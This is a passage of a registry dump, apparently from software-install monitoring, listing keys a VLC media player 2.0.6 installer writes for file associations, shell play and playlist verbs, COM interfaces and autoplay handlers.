"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mpa\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.oma\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\ProgID]
"(Default)" = "VideoLAN.VLCPlugin.1"

[HKCR\VLC.divx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.mp2]
"(Default)" = "VLC.mp2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"InvokeProgID" = "VLC.OPENFolder"
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.SVCDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aob]
"(Default)" = "VLC.aob"

[HKCR\VLC.f4v\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".avi" = ""

[HKCR\VLC.oma\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.3gp2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m4p\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.m2ts]
"(Default)" = "VLC.m2ts"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.tts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.flv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ram\shell]
"(Default)" = "Open"

[HKCR\VLC.3g2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aifc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.nsv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.drc]
"(Default)" = "VLC.drc"

[HKCR\VLC.3g2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.669\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oga\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.tod]
"(Default)" = "VLC media file (.tod)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mts" = ""
".mtv" = ""

[HKCR\VLC.au\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wv\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.b4s\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".au" = "VLC.au"

[HKCR\VLC.f4v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mka\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aac\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adt\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.caf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aif]
"(Default)" = "VLC media file (.aif)"

[HKCR\VLC.opus\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".gxf" = ""

[HKCR\VLC.voc\shell]
"(Default)" = "Open"

[HKCR\VLC.m4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.DVDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.mpv2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.mkv]
"(Default)" = "VLC.mkv"

[HKCR\VLC.mlp\shell]
"(Default)" = "Open"

[HKCR\VLC.wv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayMusicFilesOnArrival]
"VLCPlayMusicFilesOnArrival" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".SPX" = ""

[HKCR\VLC.vqf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.drc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}]
"(Default)" = "IVLCMarquee"

[HKCR\VLC.mpeg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.qcp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.669\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.xa\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.s3m\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.f4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aif\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.asf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogm\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.b4s\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.nuv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.f4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.sdp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpg]
"(Default)" = "VLC media file (.mpg)"

[HKCR\VLC.mpeg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mid\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m4p\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.gxf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayVersion" = "2.0.6"

[HKCR\.aiff]
"(Default)" = "VLC.aiff"

[HKCR\VLC.mtv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gp\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.tta\shell]
"(Default)" = "Open"

[HKCR\VLC.divx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.flac\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MID" = ""

[HKCR\VLC.rmvb\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.amv]
"(Default)" = "VLC.amv"

[HKCR\VLC.mp1\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe"

[HKCR\VLC.oma\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".AAC" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m2ts" = "VLC.m2ts"

[HKCR\VLC.qcp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".AC3" = "VLC.ac3"

[HKCR\VLC.a52\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".669" = ""

[HKCR\.3gp2]
"(Default)" = "VLC.3gp2"

[HKCR\VLC.nsv\shell]
"(Default)" = "Open"

[HKCR\VLC.b4s\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rec\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".oma" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".caf" = "VLC.caf"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ogm" = ""
".OGA" = ""

[HKCR\VLC.au\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpv2" = "VLC.mpv2"

[HKCR\Applications\vlc.exe\SupportedTypes]
".OGG" = ""

[HKCR\VLC.aiff]
"(Default)" = "VLC media file (.aiff)"

[HKCR\VLC.asf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp2v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.asf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ogv" = ""

[HKCR\VLC.ogg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.tts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.xspf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.w64\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M3U8" = ""

[HKCU\Software\Classes\.webm]
"(Default)" = "VLC.webm"

[HKCR\Applications\vlc.exe\SupportedTypes]
".dv" = ""

[HKCR\VLC.f4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.669]
"(Default)" = "VLC.669"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"InvokeProgID" = "VLC.OPENFolder"

[HKCR\VLC.rm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.avi\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".RMI" = ""

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.xm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.opus]
"(Default)" = "VLC media file (.opus)"

[HKCR\VLC.f4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.dv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.mp4]
"(Default)" = "VLC.mp4"

[HKCR\VLC.vro\shell\Open]
"(Default)" = "Play"

[HKCR\AudioCD\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.cue\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mpeg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mov\shell]
"(Default)" = "Open"

[HKCR\.mov]
"(Default)" = "VLC.mov"

[HKCR\VLC.amr\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rm" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".w64" = "VLC.w64"
".WAV" = "VLC.wav"

[HKCR\VLC.aac]
"(Default)" = "VLC media file (.aac)"

[HKCR\VLC.vro\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.dts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mpa\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.a52\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.SVCDMovie]
"(Default)" = "VLC SVCD Movie"

[HKCR\VLC.it\shell]
"(Default)" = "Open"

[HKCR\VLC.CDAudio\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell]
"(Default)" = "Open"

[HKCR\VLC.ac3]
"(Default)" = "VLC media file (.ac3)"

[HKCR\Directory\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.asx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\VLC.cda\shell]
"(Default)" = "Open"

[HKCR\VLC.mp4v\shell]
"(Default)" = "Open"

[HKCR\VLC.ts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpv2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gpp]
"(Default)" = "VLC media file (.3gpp)"

[HKCR\VLC.asf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vqf\shell]
"(Default)" = "Open"

[HKCR\VLC.mkv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"Action" = "Play SVCD movie"

[HKCR\VLC.au\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.6]
"Path" = "%Program Files% (x86)\VideoLAN\VLC\npvlc.dll"

[HKCR\VLC.drc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".voc" = ""
".vob" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".flv" = "VLC.flv"

[HKCR\VLC.voc\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"InstallDir" = "%Program Files% (x86)\VideoLAN\VLC"

[HKCR\VLC.m1v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VideoLAN.VLCPlugin.1\CLSID]
"(Default)" = "{E23FE9C6-778E-49D4-B537-38FCDE4887D8}"

[HKCR\VLC.mp2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"InvokeProgID" = "VLC.OPENFolder"

[HKCR\VLC.mkv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpv2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.rmvb\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC"

[HKCR\.mpv2]
"(Default)" = "VLC.mpv2"

[HKCR\VLC.mka]
"(Default)" = "VLC media file (.mka)"

[HKCR\VLC.m1v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.SVCDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file vcd:///%1"

[HKCR\VLC.VCDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.dts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg]
"(Default)" = "VLC media file (.mpeg)"

[HKCR\VLC.amr\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xa\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.asf\shell]
"(Default)" = "Open"

[HKCR\VLC.sdp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mxf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.m4p]
"(Default)" = "VLC.m4p"

[HKCR\VLC.ogm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.CDAudio\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file cdda:///%1"

[HKCR\VLC.ram\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mkv" = "VLC.mkv"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp4v" = ""

[HKCR\VLC.pls\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mka" = "VLC.mka"

[HKCR\VLC.m4p\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mov\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".OPUS" = ""

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}]
"(Default)" = "IVLCControl"

[HKCR\VLC.spx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.wma\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpa]
"(Default)" = "VLC media file (.mpa)"

[HKCR\VLC.669\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.wmv]
"(Default)" = "VLC.wmv"

[HKCR\VLC.DVDMovie]
"(Default)" = "VLC DVD Movie"

[HKCR\VLC.ifo\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.m3u8]
"(Default)" = "VLC.m3u8"

[HKCR\VLC.adts\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".flv" = ""

[HKCR\VLC.adt\shell]
"(Default)" = "Open"

[HKCR\.adt]
"(Default)" = "VLC.adt"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}]
"(Default)" = "IVLCVideo"

[HKCR\VLC.3ga\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ogv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vqf" = "VLC.vqf"

[HKCR\VLC.mts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.s3m\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.dv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oma\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m3u\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mka\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.xspf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.f4v]
"(Default)" = "VLC media file (.f4v)"

[HKCR\VLC.m3u8\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".b4s" = "VLC.b4s"

[HKCR\VLC.aif\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.drc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aob\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gp]
"(Default)" = "VLC media file (.3gp)"

[HKCR\VLC.mpeg4\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".nsv" = "VLC.nsv"

[HKCR\.rmi]
"(Default)" = "VLC.rmi"

[HKCR\VLC.tta\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.amv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.aif]
"(Default)" = "VLC.aif"

[HKCR\VLC.m2ts\shell]
"(Default)" = "Open"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}]
"(Default)" = "IVLCPlaylist"

[HKCR\.oga]
"(Default)" = "VLC.oga"

[HKCR\VLC.mp1\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m1v" = "VLC.m1v"

[HKCR\VLC.gxf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cda\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".b4s" = ""

[HKCR\VLC.adt\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.adt\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"ShowIconsCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /ShowIcons /S"

[HKCR\VLC.ifo\shell]
"(Default)" = "Open"

[HKCR\VLC.ogm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mkv]
"(Default)" = "VLC media file (.mkv)"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.m2t\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".nsv" = ""

[HKCR\VLC.oma\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mid]
"(Default)" = "VLC media file (.mid)"

[HKCR\VLC.vqf\shell\PlayWithVLC]
